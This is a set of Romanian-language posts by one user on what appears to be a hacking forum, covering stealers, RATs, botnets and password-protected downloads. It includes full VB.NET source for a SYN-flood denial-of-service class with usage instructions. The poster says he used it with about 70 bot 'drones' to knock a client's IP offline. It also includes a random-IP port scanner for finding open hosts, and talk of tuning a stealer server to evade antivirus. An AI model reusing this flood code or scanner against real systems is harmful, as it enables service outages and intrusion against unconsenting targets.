Maximus

ip-uri > 1MB 150 threads voi ?

si e ceea ce am postat si eu cu ceva timp in urma , si nu e prog. Hack

cred ca el vrea sa afle despre CC dumps ... nu despre backups sunt sigur. nu ETE voie

VB.NET ; Framework 2.0 , si ce ai vrea sa faci cu sursa ?

Cand intru pe Ultimate Game Card - One Game Card to access 1000+ Games imi apare sus a:1:{s:2:"ad";a:1:{s:0:"";a:1:{s:6:"counts";a:1:{i:0;a:1:{s:0:"";a:1:{s:4:"none";a:1:{s:5:"count";a:2:{i:2012101716;i:2;i:2012101717;i:4;}}}}}}}} sa fie oare spart ?

Sa-mi bag pl, citesct si parca ma simt in filme S.F. E ciudat, nu mai ai nici un fel de intimitate, 0 null bara etc... Nimic nu mai poate fi ascuns. Pui parola, ti-o sparge, raspunsuri la intrebari secrete se rezolva prin social engineering, OMG

L-am facut pentru ca am prea multe conturi de retinut (yahoo/gmail/adfly/youtube/hushmail/etc) si mereu uitam numele contului (/nu parola =))/). Screen : Username si Password sunt Case-Sesitive Download : Download PM.rar from Sendspace.com - send big files the easy way Pass : asd

@ps-axl : mda, impresionant

Pe unii nu ai inteleg Lumea rade pe burta si el asa serios : Sunt interesat si eu de acest program. ))

FBI-RAT : char ServerVersion [30] = "Fuck Hack Hound.";

Usor de controlat in spatii inchise; daca mai bate vantu .. sa dus dracului drona

Colectia mea de iconite. 260MB Link : Download Iconite.rar from Sendspace.com - send big files the easy way Pass : asd

stai ca nu inteleg, bagi ip-u si infecteaza de unu singur? sau trebuie victima sa execute codul ?

https://www.youtube.com/watch?v=g4yYtwspOZ4

un server HC Stealer mi-a iesit cam asa : Dar cu multe modificari, defapt din sursa originala am folosit doar jumate din functia "format". 0/35 la ScanTime ... Nu si RunTime

nice, destul de simplu

nice

as vrea sa stiu ce eroarea iti da daca pui un ID ce nu are in lista id-ul la care incerci sa trimiti mesajul; am incercat sa rulez scriptul si imi da "Signon failed" ; incearca https://rstcenter.com/forum/58849-php-y-m-send-pm-script.rst poate te ajuta cu ceva.

NU

mersi !

ce este dupa spatiu este parola sau continuarea criptarii ?

Am stat si m-am uitat pe pagina vreo 20 de min. Sunt 8 linii pe care le poti citi;timp de vreo 10 secunde a dat 00:12:28 < dionaea.capture > New attack from Buzau, Romania (45.15,26.83) to Aachen, Germany (50.77,6.11) [ md5: 9c09418c738e265a27e6c599f43d86ab ] ceva de genu ) si Focsani Romania

Imports System.Net Imports System.Net.Sockets Imports System.Threading Friend Class SynFlood Private Shared FloodingJob As ThreadStart() Private Shared FloodingThread As Thread() Public Shared Host As String Private Shared ipEo As IPEndPoint Public Shared Port As Integer Private Shared SynClass As SendSyn() Public Shared SynSockets As Integer Public Shared Threads As Integer Public Shared Sub StartSynFlood() Try ipEo = New IPEndPoint(Dns.GetHostEntry(Host).AddressList(0), Port) Catch ipEo = New IPEndPoint(IPAddress.Parse(Host), Port) End Try FloodingThread = New Thread(Threads - 1) {} FloodingJob = New ThreadStart(Threads - 1) {} SynClass = New SendSyn(Threads - 1) {} For i As Integer = 0 To Threads - 1 SynClass(i) = New SendSyn(ipEo, SynSockets) FloodingJob(i) = New ThreadStart(AddressOf SynClass(i).Send) FloodingThread(i) = New Thread(FloodingJob(i)) FloodingThread(i).Start() Next End Sub Public Shared Sub StopSynFlood() For i As Integer = 0 To Threads - 1 Try FloodingThread(i).Suspend() Catch End Try Next End Sub Private Class SendSyn Private ipEo As IPEndPoint Private Sock As Socket() Private SynSockets As Integer Public Sub New(ByVal ipEo As IPEndPoint, ByVal SynSockets As Integer) Me.ipEo = ipEo Me.SynSockets = SynSockets End Sub Public Sub OnConnect(ByVal ar As IAsyncResult) End Sub Public Sub Send() Dim num As Integer Label_0000: Try Me.Sock = New Socket(Me.SynSockets - 1) {} For num = 0 To Me.SynSockets - 1 Me.Sock(num) = New Socket(Me.ipEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp) Me.Sock(num).Blocking = False Dim callback As New AsyncCallback(AddressOf Me.OnConnect) Me.Sock(num).BeginConnect(Me.ipEo, callback, Me.Sock(num)) Next Thread.Sleep(100) For num = 0 To Me.SynSockets - 1 If Me.Sock(num).Connected Then Me.Sock(num).Disconnect(False) End If Me.Sock(num).Close() Me.Sock(num) = Nothing Next Me.Sock = Nothing GoTo Label_0000 Catch For num = 0 To Me.SynSockets - 1 Try If Me.Sock(num).Connected Then Me.Sock(num).Disconnect(False) End If Me.Sock(num).Close() Me.Sock(num) = Nothing Catch End Try Next GoTo Label_0000 End Try End Sub End Class End Class Codul merge 100% dar ai nevoie de un numar mai marisor de sclavi. Eu am vreo 70 de drone (drona mirc facuta in vb.net),am pus ip`ul unui client si a picat cam in 10 secunde in timeout SynFlood.Host = ip-ul SynFlood.Port = port-ul SynFlood.Threads = numar threads SynFlood.SynSockets = numar sockets SynFlood.StartSynFlood() pentru stop SynFlood.StopSynFlood() Download : http://www.sendspace.com/file/vaqovh

Asta e codul : Imports System.Net.Sockets Imports System.Threading Imports System.IO Imports system.Text Imports System.Net Public Class Form1 Dim rscan As Integer = 1 Dim threads As Integer Dim tmpThreadZ As New System.Threading.Thread(AddressOf Strt) Dim port As Integer Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click If String.IsNullOrEmpty(TextBox1.Text) Or String.IsNullOrEmpty(TextBox2.Text) Then MessageBox.Show("Verifica Setarile !", "Error") Else port = TextBox1.Text tmpThreadZ.IsBackground = True If (tmpThreadZ.ThreadState And ThreadState.Unstarted) Then tmpThreadZ.Start() Else tmpThreadZ.Resume() End If Button1.Enabled = False Button2.Enabled = True End If End Sub Public Sub Strt() Do Until rscan = 2 If threads > TextBox2.Text Then Thread.Sleep(50) Application.DoEvents() Else Dim A As String = GetRandomNumber(1, 255) Dim B As String = GetRandomNumber(1, 255) Dim C As String = GetRandomNumber(1, 255) Dim D As String = GetRandomNumber(1, 255) Dim tmpThread As New System.Threading.Thread(AddressOf RangeScan) tmpThread.IsBackground = True tmpThread.Start(A & "." & B & "." & C & "." & D) 'i represents the current port threads += 1 End If Loop End Sub Private Sub RangeScan(ByVal i As Object) Dim tmpClient As New TcpClient() Dim tmpEndPoint As New IPEndPoint(IPAddress.Parse(i), port) Try tmpClient.Connect(tmpEndPoint) Threading.Thread.Sleep(500) ' Timeout If tmpClient.Connected = True Then ListBox1.Items.Add(i) threads -= 1 tmpClient.Close() End If Catch ex As Exception threads -= 1 tmpClient.Close() End Try End Sub Dim objRandom As New System.Random( _ CType(System.DateTime.Now.Ticks Mod System.Int32.MaxValue, Integer)) Public Function GetRandomNumber( _ Optional ByVal Low As Integer = 1, _ Optional ByVal High As Integer = 100) As Integer Return objRandom.Next(Low, High + 1) End Function Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click If tmpThreadZ.IsAlive Then tmpThreadZ.Suspend() Button1.Enabled = True Button2.Enabled = False Else Button1.Enabled = True Button2.Enabled = False End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Control.CheckForIllegalCrossThreadCalls = False Button2.Enabled = False End Sub Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click Dim coco As New StreamWriter(TextBox3.Text, True) For Each item As String In ListBox1.Items coco.WriteLine(item.ToString) Next coco.Close() End Sub End Class Eu il folosesc (desi nu se compara cu metoda lui Cartus_C din https://rstcenter.com/forum/37580-scanner-remote-desktop.rst folosind NMAP, dar e ceva asemanator). Poti limita numarul de threads. Download : http://www.sendspace.com/file/04u69n